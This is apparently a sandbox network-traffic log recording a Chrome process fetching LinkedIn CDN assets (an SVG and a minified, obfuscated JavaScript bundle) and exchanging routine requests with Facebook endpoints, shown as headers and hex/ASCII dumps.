2024-04-11 20:35:35 UTC	1066	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307102 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Tue, 05 Apr 2022 06:06:04 GMT Server: ECAcc (nyd/D131) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 2958 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0012874146; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 000615909834cc1fe8e5fbec47745b8a X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJg0zB/o5fvsR3Rbig== Content-Length: 2958 Connection: close
2024-04-11 20:35:35 UTC	2958	IN	Data Raw: 3c 73 76 67 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 34 20 32 31 22 20 70 72 65 73 65 72 76 65 41 73 70 65 63 74 52 61 74 69 6f 3d 22 78 4d 69 6e 59 4d 69 6e 20 6d 65 65 74 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 3c 67 20 63 6c 61 73 73 3d 22 69 6e 62 75 67 22 20 73 74 72 6f 6b 65 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 39 2e 34 Data Ascii: <svg viewBox="0 0 84 21" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <g class="inbug" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <path d="M19.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	50011	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	554	OUT	GET /aero-v1/sc/h/80ndnja80f2uvg4l8sj2su82m HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1070	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307100 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: text/javascript Date: Thu, 11 Apr 2024 20:35:35 GMT Expires: Thu, 18 Apr 2024 20:35:35 GMT Last-Modified: Fri, 08 Sep 2023 09:28:41 GMT Server: ECAcc (nyd/D18B) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 65933 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0014066101; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 000615909851104e2d31b505825983f0 X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJhREE4tMbUFglmD8A== Content-Length: 65933 Connection: close
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 76 61 72 20 61 30 61 3d 5b 27 43 33 72 35 42 67 75 3d 27 2c 27 43 4d 35 4e 27 2c 27 79 4e 4c 30 7a 75 39 4d 7a 4e 6e 4c 44 61 3d 3d 27 2c 27 79 32 39 31 42 67 71 47 42 4d 39 30 69 68 6a 4c 79 77 71 47 72 4d 39 59 42 75 72 48 44 67 65 47 79 4d 39 4b 45 73 62 48 43 59 62 49 42 67 39 49 27 2c 27 43 4d 76 5a 43 67 39 55 43 32 75 3d 27 2c 27 79 4d 76 4e 41 77 35 71 79 78 72 4f 27 2c 27 76 75 6e 74 41 67 76 53 42 65 50 48 44 4d 65 3d 27 2c 27 78 32 6a 56 7a 68 4c 75 7a 78 48 30 27 2c 27 69 30 75 32 72 4b 79 34 6d 61 3d 3d 27 2c 27 7a 4d 76 30 79 32 47 3d 27 2c 27 44 4d 76 55 7a 67 39 59 27 2c 27 75 32 48 50 7a 4e 72 6d 7a 77 7a 30 27 2c 27 79 4e 76 50 42 67 72 6a 72 61 3d 3d 27 2c 27 43 67 66 4a 41 32 76 30 73 77 71 3d 27 2c 27 43 78 76 48 7a 68 6a 48 44 67 4c Data Ascii: var a0a=['C3r5Bgu=','CM5N','yNL0zu9MzNnLDa==','y291BgqGBM90ihjLywqGrM9YBurHDgeGyM9KEsbHCYbIBg9I','CMvZCg9UC2u=','yMvNAw5qyxrO','vuntAgvSBePHDMe=','x2jVzhLuzxH0','i0u2rKy4ma==','zMv0y2G=','DMvUzg9Y','u2HPzNrmzwz0','yNvPBgrjra==','CgfJA2v0swq=','CxvHzhjHDgL
2024-04-11 20:35:35 UTC	1	IN	Data Raw: 2c Data Ascii: ,
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 78 3d 30 78 30 2c 7a 3d 77 5b 62 54 28 27 30 78 66 66 27 29 5d 3b 78 3c 7a 3b 78 2b 2b 29 77 5b 78 5d 3d 30 78 31 30 30 2a 76 5b 30 78 32 2a 78 5d 2b 76 5b 30 78 32 2a 78 2b 30 78 31 5d 3b 76 61 72 20 41 3d 5b 5d 3b 72 65 74 75 72 6e 20 77 5b 62 54 28 27 30 78 34 61 27 29 5d 28 66 75 6e 63 74 69 6f 6e 28 42 29 7b 76 61 72 20 62 55 3d 62 54 3b 41 5b 62 55 28 27 30 78 35 34 27 29 5d 28 68 28 42 29 29 3b 7d 29 2c 6d 5b 62 54 28 27 30 78 31 32 61 27 29 5d 28 41 5b 62 54 28 27 30 78 31 65 37 27 29 5d 28 27 27 29 29 3b 7d 2c 27 63 6f 6d 70 72 65 73 73 54 6f 45 6e 63 6f 64 65 64 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 27 3a 66 75 6e 63 74 69 6f 6e 28 76 29 7b 76 61 72 20 62 56 3d 62 4b 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 76 3f 27 27 3a 6d 5b 62 56 28 27 30 78 Data Ascii: x=0x0,z=w[bT('0xff')];x<z;x++)w[x]=0x100v[0x2x]+v[0x2*x+0x1];var A=[];return w[bT('0x4a')](function(B){var bU=bT;A[bU('0x54')](h(B));}),m[bT('0x12a')](A[bT('0x1e7')](''));},'compressToEncodedURIComponent':function(v){var bV=bK;return null==v?'':m[bV('0x
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 29 29 3b 7d 2c 64 5b 64 32 28 27 30 78 31 64 64 27 29 5d 5b 64 32 28 27 30 78 64 63 27 29 5d 3d 21 30 78 30 2c 64 5b 64 32 28 27 30 78 31 64 64 27 29 5d 5b 64 32 28 27 30 78 31 38 63 27 29 5d 3d 64 5b 64 32 28 27 30 78 31 64 64 27 29 5d 3b 7d 2c 66 75 6e 63 74 69 6f 6e 28 61 30 2c 61 31 2c 61 32 29 7b 76 61 72 20 64 34 3d 61 30 62 3b 27 75 73 65 20 73 74 72 69 63 74 27 3b 61 32 5b 27 72 27 5d 28 61 31 29 2c 61 32 5b 27 64 27 5d 28 61 31 2c 64 34 28 27 30 78 31 64 35 27 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 51 3b 7d 29 3b 76 61 72 20 61 33 3d 7b 7d 3b 61 33 5b 64 34 28 27 30 78 31 38 36 27 29 5d 3d 64 34 28 27 30 78 35 66 27 29 21 3d 74 79 70 65 6f 66 20 63 72 79 70 74 6f 26 26 63 72 79 70 74 6f 5b 64 34 28 27 30 78 31 38 36 27 29 Data Ascii: ));},d[d2('0x1dd')][d2('0xdc')]=!0x0,d[d2('0x1dd')][d2('0x18c')]=d[d2('0x1dd')];},function(a0,a1,a2){var d4=a0b;'use strict';a2['r'](a1),a2['d'](a1,d4('0x1d5'),function(){return aQ;});var a3={};a3[d4('0x186')]=d4('0x5f')!=typeof crypto&&crypto[d4('0x186')
2024-04-11 20:35:35 UTC	16383	IN	Data Raw: 28 27 30 78 66 66 27 29 5d 3b 2b 2b 61 57 29 61 56 3d 61 56 3e 61 54 5b 61 57 5d 3f 61 56 3a 61 54 5b 61 57 5d 3b 72 65 74 75 72 6e 20 61 56 3b 7d 66 75 6e 63 74 69 6f 6e 20 61 7a 28 61 53 29 7b 76 61 72 20 64 4a 3d 64 34 3b 72 65 74 75 72 6e 20 61 53 3d 64 4a 28 27 30 78 32 35 34 27 29 3d 3d 74 79 70 65 6f 66 20 61 53 3f 61 53 3a 4e 75 6d 62 65 72 28 61 53 29 2c 4d 61 74 68 5b 64 4a 28 27 30 78 32 37 32 27 29 5d 28 61 53 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 61 41 28 61 53 2c 61 54 29 7b 76 61 72 20 64 4b 3d 64 34 3b 69 66 28 61 53 26 26 61 54 26 26 61 53 5b 64 4b 28 27 30 78 66 66 27 29 5d 3d 3d 61 54 5b 64 4b 28 27 30 78 66 66 27 29 5d 29 7b 66 6f 72 28 76 61 72 20 61 55 3d 30 78 30 3b 61 55 3c 61 53 5b 64 4b 28 27 30 78 66 66 27 29 5d 3b 2b 2b 61 55 29 Data Ascii: ('0xff')];++aW)aV=aV>aT[aW]?aV:aT[aW];return aV;}function az(aS){var dJ=d4;return aS=dJ('0x254')==typeof aS?aS:Number(aS),Math[dJ('0x272')](aS);}function aA(aS,aT){var dK=d4;if(aS&&aT&&aS[dK('0xff')]==aT[dK('0xff')]){for(var aU=0x0;aU<aS[dK('0xff')];++aU)
2024-04-11 20:35:35 UTC	400	IN	Data Raw: 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 3b 7d 3b 72 65 74 75 72 6e 20 61 5b 27 64 27 5d 28 66 2c 27 61 27 2c 66 29 2c 66 3b 7d 2c 61 5b 27 6f 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 66 29 7b 76 61 72 20 65 42 3d 61 30 62 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 5b 65 42 28 27 30 78 31 61 35 27 29 5d 5b 65 42 28 27 30 78 32 34 62 27 29 5d 5b 65 42 28 27 30 78 31 30 36 27 29 5d 28 64 2c 66 29 3b 7d 2c 61 5b 27 70 27 5d 3d 27 27 2c 61 28 61 5b 27 73 27 5d 3d 30 78 37 29 3b 66 75 6e 63 74 69 6f 6e 20 61 28 64 29 7b 76 61 72 20 65 43 3d 61 30 62 3b 69 66 28 63 5b 64 5d 29 72 65 74 75 72 6e 20 63 5b 64 5d 5b 65 43 28 27 30 78 31 64 64 27 29 5d 3b 76 61 72 20 66 3d 63 5b 64 5d 3d 7b 27 69 27 3a 64 2c 27 6c 27 3a 21 30 78 31 2c 27 65 78 70 6f 72 74 73 27 3a Data Ascii: ion(){return d;};return a['d'](f,'a',f),f;},a['o']=function(d,f){var eB=a0b;return Object[eB('0x1a5')][eB('0x24b')][eB('0x106')](d,f);},a['p']='',a(a['s']=0x7);function a(d){var eC=a0b;if(c[d])return c[d][eC('0x1dd')];var f=c[d]={'i':d,'l':!0x1,'exports':

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	50013	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	675	OUT	GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=7&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w
2024-04-11 20:35:35 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:35 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:35 UTC	1539	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	50015	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	1218	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=8&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 7169 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPAi0b5jUMIpENTQS sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907
2024-04-11 20:35:35 UTC	7169	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 50 41 69 30 62 35 6a 55 4d 49 70 45 4e 54 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 31 32 38 36 37 37 33 33 35 37 32 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 50 41 69 30 62 35 6a 55 4d 49 70 45 4e 54 51 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 6f 73 74 5f 30 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 62 6c 6f 62 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a df 99 01 f0 50 Data Ascii: ------WebKitFormBoundaryPAi0b5jUMIpENTQSContent-Disposition: form-data; name="ts"1712867733572------WebKitFormBoundaryPAi0b5jUMIpENTQSContent-Disposition: form-data; name="post_0"; filename="blob"Content-Type: application/octet-streamP
2024-04-11 20:35:35 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:35 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:35 UTC	1756	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	50012	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	368	OUT	GET /ajax/bulk-route-definitions/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1119	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding Set-Cookie: fr=05QMfziSeaJCHPXyf..BmGEmX..AAA.0.0.BmGEmX.AWVmLAOp0HY; expires=Wed, 10-Jul-2024 20:35:35 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=None reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:35 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:35 UTC	1383	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), 